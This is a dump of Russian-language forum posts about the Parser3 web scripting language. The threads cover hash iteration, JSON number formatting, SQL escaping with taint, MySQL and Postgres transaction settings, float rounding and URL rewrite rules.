^TX.append[ $.data[$hS1] ][/code]\
\
железки и сенсоры могут иметь разный набор параметров \
\
чтоб потом можно было:\
\
[code]^TX.foreach{\
  ^switch( $TX.data.type ){\
   ^case[D]{\
     ^switch[$TX.data.deviceType]{\
     ^case[T1]{ ^checkDeviceT1[$TX.data] }\
     ^case[T2]{ ^checkDeviceT2[$TX.data] }\
     ^case[DEFAULT]{ ^sendAlert[new device type ${TX.data.deviceType}] }\
     }\
   }\
   ^case[S]{ ^checkSensor[$TX.data] }\
   ^case[DEFAULT]{ ^sendAlert[new type ${TX.data.type}] }\
  }\
}[/code]\
\
вот прям сходу только превращять все в json отдельно выносить type\
и потом опять все в hash , но этож процессор тама, память :)\
\
опятьже хотелось"
"84722","[code]$TX[^hash::create[]] \
\
$hD1[$.type[D] $.device[D1] $.deviceType[T1] $.status[S1] .... ]\
$hS1[$.type[S] $.sensor[S1] $.value[V1] .... ]\
\
$TX.[^TX.count[]][$hD1]\
$TX.[^TX.count[]][$hS1]\
\
^TX.foreach[_;v]{\
  ^switch( $v.type ){\
   ^case[D]{\
     ^switch[$v.deviceType]{\
     ^case[T1]{ ^checkDeviceT1[$v] }\
     ^case[T2]{ ^checkDeviceT2[$v] }\
     ^case[DEFAULT]{ ^sendAlert[new device type ${v.deviceType}] }\
     }\
   }\
   ^case[S]{ ^checkSensor[$v] }\
   ^case[DEFAULT]{ ^sendAlert[new type ${v.type}] }\
  }\
}[/code]"
"84723","... можно написать простенькую обвязку вокруг хеша:\
[code]\
@CLASS\
List\
\
@OPTIONS\
locals\
\
@create[]\
  $self._list[^hash::create[]]\
\
@count[]\
  $result(^self._list.count[])\
\
@GET_DEFAULT[aIndex]\
  $result[$self._list[$aIndex]]\
\
@GET[aType]\
  $result[]\
  ^switch[$aType]]{\
    ^case[def;bool]{$result(^self.count[] > 0)}\
    ^case[expression;double]{$result(^self.count[])}\
    ^case[hash][$result[^hash::create[$self._list]]]\
  }\
\
@GET_first[]\
  $result[^self._list.at[first]]\
\
@GET_last[]\
  $result[^self._list.at[last]]\
\
@append[aItem]\
  $result[]\
  $self._list.[^self.count[]][$aItem]\
\
@foreach[aNumName;aItemName;aCode;aSep]\
  $result[^self._list.foreach[k;v]{$caller.[$aNumName][$k]$caller.[$aItemName][$v]$aCode}{$aSep}]\
[/code]\
\
И не делать ничего руками в коде с хешем:\
[code]$TX[^List::create[]] \
\
$hD1[$.type[D] $.device[D1] $.deviceType[T1] $.status[S1] .... ]\
$hS1[$.type[S] $.sensor[S1] $.value[V1] .... ]\
\
^TX.append[$hD1]\
^TX.append[$hS1]\
\
^TX.foreach[_;v]{\
  ^switch( $v.type ){\
   ^case[D]{\
     ^switch[$v.deviceType]{\
     ^case[T1]{ ^checkDeviceT1[$v] }\
     ^case[T2]{ ^checkDeviceT2[$v] }\
     ^case[DEFAULT]{ ^sendAlert[new device type ${v.deviceType}] }\
     }\
   }\
   ^case[S]{ ^checkSensor[$v] }\
   ^case[DEFAULT]{ ^sendAlert[new type ${v.type}] }\
  }\
}\
[/code]"
"84726","Во многих языках принято обозначать неиспользуемую перменную подчеркиванием. Можно вообще не указывать имя, но мне foreach[_;v] нравится больше, чем foreach[;v]"
"84727","Отмечу, что foreach[;v] работает быстрее, чем foreach[_;v]. :)"
"84728","есть вот такое странное (внешние данные):\
[code]$A[500000000]\
$T[76300000000]\
$F[100][/code]\
\
делаем:\
[code]$R[^math:floor(^eval(^A.double(0) * ^T.double(0) / ^F.double(1) ))]\
r:$R\
u:^R.format[%u]\
d:^R.format[%d]\
j:^json:string[$R]\
[/code]\
\
получаем (в общемто ожидаемо и логично):\
[code]r:3.815e+17\
u:2379202560\
d:-2147483648\
j:\"3.815e+17\"[/code]\
\
вопрос в том, а как получить при преобразовании в json:\
[code]381500000000000000[/code] для дальнейшей передачи?"
"84731","[code]$double(381500000000000000)\
^double.format[%.0f][/code]\
\
[url=https://www.parser.ru/docs/lang/jsonstring.htm]Можно указать для double свой метод для сериализации в JSON[/url] и самостоятельно выводить числа.\
\
P. S. Eval в вашем коде не нужен."
"84733","Поясни пожалуйста, что здесь происходит?\
[code]@GET_DEFAULT[aIndex]\
$result[$self._list[$aIndex]][/code]\
\
Может имелось ввиду так?\
\
[code]$result[$self._list.$aIndex][/code]"
"84736","Возможно проблема не в сборке, а в том, что для тестов далее используется не собранный парсер, а какой-то другой бинарник парсера? Ну и на всякий случай:\
\
[code]> ident parser3 |grep curl\
[/code]\
Что выдаст?"
"84739","^Lib:numberFormat[$double;$.sThousandDivider[ ]] = \"3\" :)"
"84744","на эту тему тоже думал, ну вдруг... рестартил nginx, fcgiwrap и т.д.\
Ну и на всякий случай запускал с консоли конкретный cgi. Всё едино :("
"84745","Очень странно. Поменял и зафиксировал порядок в выдаче ^curl:info[].\
Теперь должно быть так:\
\
[code]ident parser3 |grep curl\
     $Id: curl.C,v 1.61 2019/01/15 13:57:38 moko Exp $\
[/code]\
\
И ниже выдача, которую я получаю на FreeBSD той же версии, что у вас (проверим, что порядок поменялся). \
Note: в вашем ответе меня еще удивляет статус 400. Не может быть, что там что-то заблокировано (IP/аккаунт)?\
\
[code]{\
\"scheme\":\"HTTPS\",\
\"http_version\":\"2\",\
\"effective_url\":\"https:\\/\\/www.google.com\\/recaptcha\\/api\\/siteverify\",\
\"content_type\":\"application\\/json; charset=utf-8\",\
\"response_code\":200,\
\"os_errno\":0,\
\"namelookup_time\":0.00063,\
\"appconnect_time\":0.17745,\
\"pretransfer_time\":0.252761,\
\"starttransfer_time\":0.252766,\
\"connect_time\":0.020237,\
\"total_time\":0.287207,\
\"content_length_download\":-1,\
\"content_length_upload\":251,\
\"header_size\":348,\
\"request_size\":183,\
\"size_download\":103,\
\"size_upload\":251,\
\"speed_download\":358,\
\"speed_upload\":874,\
\"num_connects\":1,\
\"primary_ip\":\"172.217.21.164\",\
\"httpauth_avail\":0,\
\"proxyauth_avail\":0,\
\"redirect_count\":0,\
\"redirect_time\":0,\
\"redirect_url\":\"\",\
\"ssl_verifyresult\":0\
}\
[/code]\
\
Полный код:\
\
[code]^curl:session{\
\
$verifyInfo[\
    ^curl:load[\
        $.url[https://www.google.com/recaptcha/api/siteverify]\
        $.post(1)\
        $.timeout(60)\
        $.httppost[\
            $.secret[gkkey]\
            $.response[testform]\
        ]\
    ]\
]\
\
^json:string[^curl:info[]]\
\
}\
[/code]"
"84746","400 там если ключ неверный передать, это так и должно быть. Не суть, любой хост где http2 используется, это я для примера поставил."
"84748","Если ghs.googlehosted.com - это оно, то было такое. Тонкость была одна - глючило с mysql клиентом, при замене на mariadb client (который теперь стал клиентом по умолчанию в Debian) проблема ушла."
"84750","Настройками клиент занимался, мы только помогали сделать, чтобы результат работал."
"84753","Кажется была версия и когда почти весь сайт (неизменяемая часть) была в контейнере."
"84754","Планируется ли поддержка документоориентированных БД, например Mongo?"
"84755","https://docs.mongodb.com/bi-connector/master/connect/mysql/"
"84756","спасибо большое,мне очень сильно помогло, нашел ошибки свои."
"84757","Доброго времени суток!\
\
Помогите решить незадачу.\
\
Получаю в файл обработчика JSON.\
\
Перевожу его в хеш:\
\
$json[^json:parse[^taint[as-is;$f.text]]]\
\
При обращении в MySQL:\
\
^void:sql{insert into temp_bi (ptext) value ('$json.result.EMAIL')}\
\
Выдает ошибку:\
\
'sql' is 'hash', it has no string representation\
\
Подскажите чем обработать (как) $json.result.EMAIL перед использованием в теле запроса чтобы не ругался.\
\
Заранее спасибо."
"84758","Получается, что $json.result.EMAIL не строка, а хеш.\
Возможно там есть какое-нибудь .value, или там массив адресов."
"84759","[quote]'sql' is 'hash', it has no string representation[/quote]\
\
Парсер ругается не на JSON.\
Где-то в коде есть хеш [i]sql[/i], который попадает в результат."
"84760","Очень большой - думал он двухуровневый, но есть более длинные ответвления. Спасибо за наводку."
"84761","Не могу найти в примерах как получать значения из хеша в хеше\
\
	{\"result\":{\
	\"PHONE\":[\
	{\"ID\":\"675\",\"VALUE_TYPE\":\"WORK\",\"VALUE\":\"0990000000\",\"TYPE_ID\":\"PHONE\"},\
	{\"ID\":\"677\",\"VALUE_TYPE\":\"MOBILE\",\"VALUE\":\"0990000001\",\"TYPE_ID\":\"PHONE\"},\
	{\"ID\":\"679\",\"VALUE_TYPE\":\"HOME\",\"VALUE\":\"0990000002\",\"TYPE_ID\":\"PHONE\"},\
	{\"ID\":\"681\",\"VALUE_TYPE\":\"OTHER\",\"VALUE\":\"0990000003\",\"TYPE_ID\":\"PHONE\"}\
	]\
	}}\
\
Могу предположить, что это где-то как-то так:\
\
$json.result.PHONE.VALUE_TYPE[WORK].VALUE\
\
или\
\
$json.result.PHONE[VALUE_TYPE[WORK].VALUE]\
\
Заранее спасибо за помощь."
"84762","Значение из хеща получается по ключу, $json.result.PHONE.0.VALUE например.\
Но вот чтобы найти телефон нужного типа, нужно уже программировать (если искомый телефон может быть не первым).\
Что-то типа такого:\
\
[code]@find_work_phone[phones]\
$result[]\
^phones.foreach[;phone]{\
  ^if($phone.VALUE_TYPE eq 'WORK'){ $result[$phone.VALUE] } (или ^return[$phone.VALUE], если парсер последний)\
}\
\
^find_work_phone[$json.result.PHONE]\
[/code]"
"84763","Догадывался что через foreach - вариант, но с синтаксисом пока туго.\
\
Спасибо за помощь."
"84764","Здравствуйте уважаемые гуру парсера. Никто не интегрировал в свой интернет-магазин с агрегатором служб доставки https://apiship.ru/? То ли вечер уже то ли просто торможу но не могу сообразить даже как получить тот же ключ из примера в документации http://api.dev.apiship.ru/doc/#/ Спасибо всем откликнувшимся."
"84766","https://www.parser.ru/faq/#forum"
"84767","Сам инсталлятор отображает крякозябры и устанавливать не очень удобно.\
Я выбрал пункт IIS ISAPI.\
Потом запустил mmc.\
Но там у меня пустое окно Console root и никакого веб сервера нет. Даже некуда правой кнопкой нажать."
"84768","[code]@main[]\
$h[^hash::create[\
	$.tets[8\"e\"]\
]]\
$json[^json:string[$h]]\
\
$json\
# выводит { \"tets\":\"8\\\"e\\\"\" }\
^json.save[json.json]\
# в файл попадает { \"tets\":\"8\\\"e\\\"\" }\
^connect[mysql]{\
	^void:sql{insert into test set json = '$json'}\
}\
# в базу попадает {\"tets\":\"8\"e\"\"}[/code]\
\
То есть по сути при записи в базу json-строка необратимо портится. Куда девается экранирование символов внутри values?"
"84769","К данным, написанным разработчиком или парсером экранирование не применяется.\
\
[code]$set[set json = '$json']\
^void:sql{insert into test $set}\
[/code]\
\
Вас же не удивляет, что в этом случае экранирования ' не происходит?\
То есть правильно будет пометить $json недостоверным:\
\
[code]^void:sql{insert into test set json = '^taint[$json]'}\
[/code]"
"84770","[quote]Сам инсталлятор отображает крякозябры и устанавливать не очень удобно.[/quote]\
\
Пока поменял ссылки на английскую версию установщика, в следующем релизе поправим.\
\
[quote]никакого веб сервера нет[/quote]\
\
Веб сервер надо поставить/настроить отдельно, а потом уже в настроенный сайт добавлять использование Parser 3. Тут явной связи нет, а сам парсер можно и без веб-сервера, из консоли использовать: parser3.exe <имя файла с кодом на парсере>."
"84771","taint-инг конечно непростая тема, но мне кажется что-то тут не так. повторю пример для наглядности.\
[code]@main[]\
$h[^hash::create[\
	$.test[8\"e\"]\
]]\
$json[^json:string[$h]]\
\
$json\
# выводит { \"test\":\"8\\\"e\\\"\" }\
^json.save[json.json]\
# в файл попадает { \"test\":\"8\\\"e\\\"\" }\
^connect[mysql]{\
	^void:sql{insert into test set json = '$json'}\
}\
# в базу попадает {\"test\":\"8\"e\"\"}[/code]\
\
1. если чистые данные не экранируются, то почему в файл попадает экранированная строка? а в БД - нет?\
2. можно немного модифицировать начало кода:\
[code]\
$h[^hash::create[\
	 $.test[^string::sql[select '8\"e\"']] ^rem{теперь то тут грязная строка?}\
]][/code]\
строчка стала грязной - но результат не изменился - в БД она попадает в \"оригинальном виде\" неэкранированной\
\
3. А вообще - экранирование(тайнтинг) тут точно причем?\
Разве при сериализации объекта (хэша в данном случае) \
[code]$json[^json:string[$h]][/code]\
значения полей хэша не должны уже попадать намертво экранированными строками?\
\
У меня гипотеза что они попадают туда именно помеченными как json, но не сериализованными, независимо от чистоты. И это работает, пока мы не пытаемся писать в базу, где taint почему то сбрасывается и строки уходят \"как есть\". Но могу ошибаться, поправьте меня, если не трудно \
\
[code]^void:sql{insert into test set json = '^taint[$json]'}[/code]\
Да, это работает. Но в файл то пишется как надо и без taint, вот это и непонятно"
"84772","[quote]1. если чистые данные не экранируются, то почему в файл попадает экранированная строка? а в БД - нет?[/quote]\
\
Потому, что \\ для mysql - специальный символ. Сравните:\
\
[code]  ^string:sql{select '{ \"test\":\"8\\\"e\\\"\" }'}\
  ^string:sql{select '^taint[{ \"test\":\"8\\\"e\\\"\" }]'}\
[/code]\
\
Выведет:\
\
  { \"test\":\"8\"e\"\" }\
  { \"test\":\"8\\\"e\\\"\" }"
"84773","Об этом нет в доке, но мы же с вами современные люди, нужно соответствовать.\
\
Чтобы все заработало нужно сконвертировать таблицы в БД в utf8mb4. Перед этим уточните поддерживает ли ваша версия MySql эту кодировку.\
\
[code]ALTER TABLE имя_таблицы CONVERT TO CHARACTER SET utf8mb4;[/code]\
\
И еще нужно указать правильную кодировку в строке подключения:\
\
[code]$SQL.connect-string[mysql:строка_подключения?charset=utf8mb4][/code]\
\
Вот и все!"
"84775","Добрый день.\
Скрипт обрабатывает данные по одной таблице.\
Если autocommit=0, то возникают блокировки.\
Если autocommit=1, то при использовании BEGIN и COMMIT в логе базы появляется тонна предупреждений о том, что транзакции уже выполняются или нет незавершенной транзакции.\
\
Есть ли возможность использовать BEGIN и COMMIT вручную, чтобы в случае ошибки можно было сделать ROLLBACK нескольких запросов?"
"84776","А в чем проблема?\
\
[code]^connect[$SQL.connect-string]{\
  ^void:sql{create table test (value text)}\
  ^void:sql{BEGIN}\
  ^void:sql{insert into test values ('1'),('2')}\
  ^string:sql{select count(*) from test}\
  ^void:sql{ROLLBACK}\
  ^string:sql{select count(*) from test}\
}\
[/code]\
\
Выведет 2 0."
"84777","В первом сообщении все расписал.)\
\
[quote]Если autocommit=0, то возникают блокировки.\
Если autocommit=1, то при использовании BEGIN и COMMIT в логе базы появляется тонна предупреждений о том, что транзакции уже выполняются или нет незавершенной транзакции.[/quote]\
\
Коннект нужен без единой транзакции, т.е. autocommit=1, но в этом случае, как я понял, каждый запрос уже обернут в транзакцию, поэтому дополнительные команды BEGIN и COMMIT дают в логе запись\
\
Или я не так понимаю работу параметра autocommit."
"84778","[quote]Или я не так понимаю работу параметра autocommit.[/quote]\
\
Судя по всему - да. :)\
\
https://dev.mysql.com/doc/refman/5.6/en/innodb-autocommit-commit-rollback.html\
\
[quote]Коннект нужен без единой транзакции[/quote]\
\
Так не бывает, innodb по определению транзакционная.\
\
[quote]Если autocommit=1, то при использовании BEGIN и COMMIT в логе базы появляется тонна предупреждений[/quote]\
\
Так не должно быть.\
\
[quote]A session that has autocommit enabled can perform a multiple-statement transaction by starting it with an explicit START TRANSACTION or BEGIN statement and ending it with a COMMIT or ROLLBACK statement.[/quote]\
\
И никакой ругани не будет. Подозреваю, что просто где-то получаются вложенные BEGIN.\
\
[quote]Если autocommit=0, то возникают блокировки.[/quote]\
\
Значит надо не забывать говорить COMMIT руками, где надо. autocommit=1 по сути лишь делает COMMIT после каждого запроса."
"84779","Установлено: autocommit=1\
Код примерно такой:\
[code]^table.menu{\
	^try{\
		^void:sql{BEGIN}\
		...\
		^void:sql{COMMIT}\
	}{\
		^void:sql{ROLLBACK}\
	}\
}[/code]"
"84780","А внутри ... точно не вызывается например этот же метод рекурсивно?\
Иначе даже не знаю, в логах моей 10.0.37-MariaDB ругани при выполнении теста не было."
"84781","Внутри запросы и вызов других методов, но работа с транзакциями только в этом файле.\
Postgres 11"
"84782","Делаем элементарную проверку (на этот раз на винде, но предупреждения те же).\
$sDB_CONNECT - строка коннекта к базе постгреса.\
[code]@main[]\
	^connect[$sDB_CONNECT&autocommit=1]{\
		^void:sql{BEGIN}\
		^void:sql{COMMIT}\
	}\
	$result[][/code]\
\
Результат:\
WARNING:  there is already a transaction in progress\
WARNING:  there is no transaction in progress"
"84783","Протестировал такой вариант:\
[code]^connect[$sDB_CONNECT&autocommit=0]{\
	^void:sql{COMMIT}\
\
	^void:sql{BEGIN}\
	^void:sql{COMMIT}\
\
	^void:sql{BEGIN}\
}[/code]\
1. autocommit=0 делает внутри себя в самом начале BEGIN, поэтому первый COMMIT в коде завершает открытую транзакцию.\
2. Открываем и закрываем транзакцию, когда нам надо.\
3. Последний BEGIN открывает транзакцию, т.к. autocommit=0 делает внутри себя COMMIT в самом конце.\
\
Мне кажется, что это \"костыль\".\
Есть нормальное решение?"
"84784","На странице внизу есть комментарий про транзакции:\
[quote]В драйвере реализованы два механизма работы с транзакциями. С параметром autocommit и с недокументированным параметром WithoutDefaultTransaction. Можно использовать только какой-то один механизм.\
\
Если использовать autocommit, то Парсер сам открывает и комитит транзакции при запросах.\
\
С параметром WithoutDefaultTransaction Парсер отдает всю работу с транзациями в руки программиста и Постгреса. По умолчанию (без BEGIN) PostgreSQL выполняет транзакции в режиме «autocommit» (автофиксация), то есть каждый оператор выполняется в своей отдельной транзакции, которая неявно фиксируется в конце оператора (если оператор был выполнен успешно; в противном случае, транзакция откатывается).[/quote]"
"84785","[quote]Postgres 11[/quote]\
\
И почему это прозвучало только сейчас, а не в начале, или хотя-бы тогда, когда я дал ссылку на документацию по MySQL? :)\
\
Параметры у каждого SQL драйвера свои, в случае Postgres похоже надо использовать autocommit=0&WithoutDefaultTransaction=1,\
ну или понимать, что весь connect завернут в транзакцию, и писать\
\
[code]^connect[$sDB_CONNECT&autocommit=0]{\
		^void:sql{COMMIT}\
		^void:sql{BEGIN}\
}[/code]\
\
И поскольку в Postgres autocommit реализован в драйвере парсера, то возможности говорить autocommit=1 совместно с использованием BEGIN/COMMIT (как в mysql) нет."
"84786","Отдельный запросы будут неявно завернуты Постгресом в транзакцию. Если явно вызвать begin, то дальше без commit ничего в базу не уйдет."
"84787","Вообще там странный код, на самом деле оно делает autocommit=0, но явно написать это не дает. :)\
\
[code]     } else if(strcmp(key, \"WithoutDefaultTransaction\")==0){\
         if(!connection.autocommit)\
               services._throw(\"options WithoutDefaultTransaction and autocommit can't be used together\");\
         if(atoi(value)==1){\
                connection.without_default_transactions=true;\
                connection.autocommit=false;\
      }\
[/code]\
\
То есть \
\
WithoutDefaultTransaction=1 - OK\
autocommit=0&WithoutDefaultTransaction=1 - исключение.\
autocommit=1&WithoutDefaultTransaction=1 - можно, но по факту будет autocommit=0. :)\
\
По мне так это неправильно, но в общем мелочь."
"84788","Потому что для Постгреса это самое правильное поведение. По-умолчанию, наверное, уже не поставим, чтобы совместимость не ломать."
"84789","[quote]Отдельные запросы будут неявно завернуты Постгресом в транзакцию.[/quote]\
\
Кстати непонятно, зачем в таком раскладе нам вообще свой autocommit было делать?"
"84791","[quote]По-умолчанию, наверное, уже не поставим, чтобы совместимость не ломать.[/quote]\
\
Может мало подумал, но что-то не вижу несовместимости с autocommit=1..."
"84794","Спасибо, WithoutDefaultTransaction=1 помогло и работает без костылей с закрытием и открытием транзакции с autocommit=0."
"84795","В разделе скачать ведет на вебморду cvs-репозитория, где (вроде как в HEAD)\
[url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup]http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup[/url]\
\
Последняя запись от 2017 года\
\
В то время, как в ночных сборках говорит, что \"последний коммит\" был 2019-02-10\
или это просто автоматически каждые сутки собирается из head-версии и заливается, даже если никаких изменений не было? напомните пожалуйста, как это устроено."
"84796","[quote]В то время, как в ночных сборках говорит, что \"последний коммит\" был 2019-02-10[/quote]\
\
Про коммит там ничего не написано, это дата изменения, по сути время сборки. Да, автоматом все пересобирается каждую ночь.\
\
ChangeLog обновляется отдельным скриптом, который запускается в ручном режиме. И, как видно, давно не запускался. :) Обновил и добавил обновление в crontab.\
\
Еще есть https://github.com/artlebedev/parser3/commits/master, там правда тоже бывает отставание от CVS."
"84798","Интересное решение, спасибо!"
"84802","node-parser3\
\
https://www.parser.ru/forum/?id=80675"
"84804","Если есть Класс с  @OPTIONS - dynamic и, например, в @auto этого класса происходит обращение к несуществующему полю, то всегда будет Exception (GET_DEFAULT - method of 'CLASSNAME' is not allowed to be called statically).\
\
При это если сделать GET_DEFAULT - это выглядит не логичным, т.к. он больше интересен для Объекта.\
Добавить альтернативный @static:GET_DEFAULT тоже не получается, т.к. 2 метода таких быть не может и они перекрываются - либо static, либо dynamic (из OPTIONS).\
\
В итоге получается проблема: в static контексте GET_DEFAULT виден и пытается использоваться, а доступа к нему нет.\
\
\
Предлагаю:\
1. либо добавить возможность создавать 2 метода dynamic & static - но это тогда и для других методов справедливо должно быть.\
\
2. либо вызывать GET_DEFAULT независимо от его области видимости. (внутри можно будет уже разобраться с помощью ^reflection:dynamical[])\
\
\
Если я что-то не так понял или не нашел варианта выхода из ситуации, пожалуйста подскажите."
"84805","В данном случае поведение мне кажется логичным - если GET_DEFAULT \"интересен для Объекта\", то просто не надо обращаться к несуществующим полям в @auto. :)\
\
Но в целом да, возможно стоит добавить синтаксис типа @any:method[], а то получается можно либо только статический, либо динамический метод объявить при использовании @OPTIONS dynamic."
"84806","Вылазит ошибка\
\
select * from en_tree where lang='' and cluster = \"\" and id= and (attrib=1 or attrib=0) and ( (begin is null) or (begin <= now()) ) and ( (stop is null) or (stop > now()) )\
\
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'and  (attrib=1 or attrib=0)\
	and \
	  ( (begin is null)  or  (begin <= now()) )\
	' at line 1\
\
c:/xampp/htdocs/****/classes/content.p(187:17)"
"84807","https://www.parser.ru/faq/#forum"
"84808","[code]\
#\
# Получить инфу\
@info[field;value;getfields;from]\
$result[^table::sql{select ^if(!def $getfields){*}{$getfields} from $table.tree where lang='$MAIN:LANG' and cluster = \"$MAIN:CLUSTER\" and ^if($field eq 'fieldlist'){$value}{$field=\"$value\"}}]\
#/info\
[/code]\
\
Подскажите что поправить, чтобы заработало"
"84809","Ну, судя по этому коду, field равно 'fieldlist' и надо искать, где формируется параметр value, в котором получается id= (без указания значения id), что и приводит к SQL ошибке."
"84810","На Linux хостинге все работало, локально на Виндовс запустить не могу, в чем может быть причина? Куда копать?"
"84811","ID явно потерялся. Проверяйте, что вы передаете в эту функцию в переменную $value. Win или Unix значения тут не имеют. Возможно при переносе что-то недоперенесли (например БД)"
"84812","Насчет обращения к несуществующим полям - согласен. Не нужно допускать.\
\
Но у меня такой метод и как это обойти тоже не могу придумать пока:\
\
[code]\
##############################################################################\
@foreach[uArray;sValueName;jCode;jSeparatorCode][locals]\
	$_oldVal[$caller.$sValueName]\
\
	[i]Код выполнения цикла...[/i]\
\
	$caller.$sValueName[$_oldVal]\
#end @foreach[]\
[/code]\
\
Сохранение oldVal - необходимое условие для корректной работы. А существует ли там переменна или нет - все равно требуется обращение. Как обойти - не придумал.\
\
Есть предложение как в такой ситуации можно обойти проблему?"
"84813","Был косяк с кодировкой базы, вроде поправил, но все равно ошибка осталась, не могу\
разобраться. Может кто нибудь помочь на дамп сайта краем глаза глянуть?"
"84815","В этом случае она ничем не отличается от обычной файловой системы сервера и Парсер может сделать системный вызов иипроверить наличие файла.\
\
Если у вас ссылка на файл в вебе, то надо делать http head-запрос"
"84816","Вводные:\
parser 3.4.4\
Проверялось на  Mac 10.14.3 & Debian 4.9.51-1\
\
[code]$d(3473.225)\
^eval($d * 1)[%.2f] =?= ^eval(^math:round($d * 100) / 100)\
\
$d(3473.235)\
^eval($d * 1)[%.2f] =?= ^eval(^math:round($d * 100) / 100)[/code]\
\
Ожидаю получить:\
[code]3473.23 =?= 3473.23\
3473.24 =?= 3473.24\
[/code]\
\
Получаю:\
[code]3473.[b]22[/b] =?= 3473.23\
3473.24 =?= 3473.24[/code]\
\
Подразумеваю, что все дело в представлении чисел внутри.\
Но почему алгоритмы округления у eval & round отличаются?\
\
Но тогда вопрос, как правильно работать. Всегда делать округление самостоятельно?"
"84817","Парсер пользуется функциями стандартной библиотеки C++,\
для форматирования чисел используется printf.\
\
Да, этот метод себя так ведет.\
\
[code]$d(3473.225)\
$d = ^eval($d)[%.2f] = ^d.format[%.16f]\
$d(3473.235)\
$d = ^eval($d)[%.2f] = ^d.format[%.16f]\
[/code]\
\
Выведет:\
\
[code]3473.225 = 3473.22 = 3473.2249999999999091\
3473.235 = 3473.24 = 3473.2350000000001273[/code]\
\
Например тут есть объяснения:\
\
https://linuxgazette.net/144/misc/lg/a_question_of_rounding_in_issue_143.html\
\
[quote]Но тогда вопрос, как правильно работать. Всегда делать округление самостоятельно?[/quote]\
\
Насколько понимаю, главное везде пользоваться одинаковыми методами. Либо все форматировать, либо все округлять."
"84818","К сожалению, оказалось что использование одного формата на всем сайте не помогает. Как только пошли выгрузки данных - на другом конце начинаются расхождения.\
\
math:round выглядит более правильным с точки зрения поведения. Стоит его придерживаться."
"84819","Можно ли это сделать, и если да, то как?\
\
Вообще, задача такая — есть форма, данные из которой попадают в БД. Но также появилась потребность эти же данные отправлять на внешний webhook"
"84821","читаю документацию, там: \
File::load - Загружает файл с диска или HTTP-сервера\
тогда как curl:load - выполняет загрузку файла с удалённого сервера"
"84823","Ну, типа:\
\
[code]$table[load...]\
$word[word]\
^table.menu{$table.эээ${word}5}[/code]\
\
Как тут взять $table.word5 ?"
"84824","[code]$table.[${word}5][/code]"
"84826","Здравствуйте уважаемые гуру парсера! Разбирается html-файл с таблицами, первым делом убираются все переносы строк [code]$file_str_cl[^tr_f.match[\\n+][g][]][/code] и делается одна строка. локально все работало залил на хостинг, начало выкидывать ошибку [b]\\n+\
UTF-8 validation failed during pcre_exec (-10) [/b]"
"84827","Видимо данные в файле не в UTF-8, а например в Windows-1251. Для регулярных выражений это критично. Можно указать кодировку файла при загрузке, можно сменить [url=\"https://www.parser.ru/docs/lang/?requestcharset.htm\"]используемую кодировку файлов[/url]."
"84829","Здравствуйте.\
\
Работаю с парсером уже давно, но не видел качественного примера реализации роутинга по сайту, с чистыми ЧПУ ($URL/clients/, $URL/orders/)\
Поиск дал крайне мало информации. \
Возможно у кого есть готовые кейсы для ознакомления? \
Буду очень благодарен."
"84830","В PF2 (https://github.com/unhandled-exception/pf2) есть полноценная реализация контролеров с роутингом в стиле современных веб-фреймворков. К несчастью с документацией все плохо. :)"
"84831","1) Рерайт в .htaccess, чтобы запрос передавался Парсеру в виде формы поля. \
2) Используйте этот путь как ключ в базе страниц сайта. \
3) Сделайте сортировку по этому ключу как по строке - сможете выделять директории и поддиректории."
"84832","^tr_f.trim[\
]\
(перевод строки между квадратными скобками)"
"84833","method указываете как POST, а сам запрос формируете как обычный QUERY_STRING.\
С файлами придется пободаться, но ^tainted строки нормально ходят через curl."
"84834","moko всё правильно написал. \
на практике можете хранить в БД числа в decimal, а парсером работать с ними как со строками. \
Для вывода это вообще без разницы. Округлять в меньшую сторону \
^decimal.split[.;lh] $decimal.0 тоже можно операцией со строками. \
Увы, операции с плавающей точкой могут быть либо быстрыми, либо точными."
"84835","https://mariadb.com/kb/en/library/reserved-words/"
"84836","А можно пример рерайта? Буду очень благодарен."
"84837","У меня вот так настроен\
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f\
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d\
RewriteRule !^/(img|cgi-bin|login|install|htmlarea|robots.txt)/ /login/_root.htm [NS,L]\
\
\
Т.е. любой запрос с путем к файлу попадет на _root.htm и оттуда вы его Парсером обрабатывайте как хотите."
"84838","Очень ищу libmysqlclient.so для Centos 32/64 - кроме замены файла, не видно выхода из [b]/cgi-bin/lib/system/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/master/, method=GET, cl=0][/b]\
\
Гугление по форуму выдало, что уже 10+ лет проблема известна: https://www.parser.ru/forum/?id=69898 - и решается именно так. Подменой б_г знает откуда взятым libmysqlclient.so\
\
centos-6-x86-PHP-7\
[b]reklamist.moroz@gmail.com[/b]\
\
В dev.mysql.com их отдельно от остального немає(.\
\
Спасибо."
"84839","Спрашиваем у хостера путь к библиотеке и проставляем правильный путь к so-шке в таблице sql-драйверов в [url=https://www.parser.ru/docs/lang/parserconfmethod.htm]конфигруационном методе[/url]"
"84840","Путь-то был правильный, но на дефолтный файл в ...www/domain/cgi-bin/lib/system/ из комплекта установки :-). Проблема была в нём самом (в среде сервера, мб).\
\
Замена нашлась в библиотеках самого вдс, просто переориентировал конфигуратор туда, на .so в папке вида /usr/lib/mysql/ - и ок."
"84841","У меня index.html состоят из вызова единственного метода. Что-то произошло, и парсер, показывая путь на index.html, сообщает:\
\
[b]'formapage' method_frame may not be overwritten with junction, store it to variable instead[/b]\
\
Formapage - это как раз название вызова в индексе, там больше и нет ничего. То есть, это ошибка класса \"где-то везде\". Но хоть что? На [i]какого типа[/i] ошибку он пытается указать?"
"84842","В моём случае подлость произошла такая. Я неосторожно назвал переменную так же, как хеш, и при попытке её использования всё и улетело без указания пальцем. Заодно при поиске успел проверить и доптичить точки с запятой в текстах."
"84843","Наверное, весьма наивно, но хочу что-нибудь типа\
\
[code]$request[SELECT TIMEDIFF('2019-05-20 16:50:09', '2019-05-20 17:05:23')]\
$diff[^connect[mysql://l:p@localhost/db?charset=UTF8]{^void:sql{$request}}]\
$diff[/code]\
\
Есть ли способ вымучить желаемое, не прибегая к созданию в базах ячейки для таких обменов, сохранений результата туда средствами базы и обратного изъятия парсером?\
\
Можно ли просто соединить ответ базы с записью в строку?"
"84846","[code]^void:sql{SQL-запрос}[/code] — Запрос к БД, не возвращающий результат.\
\
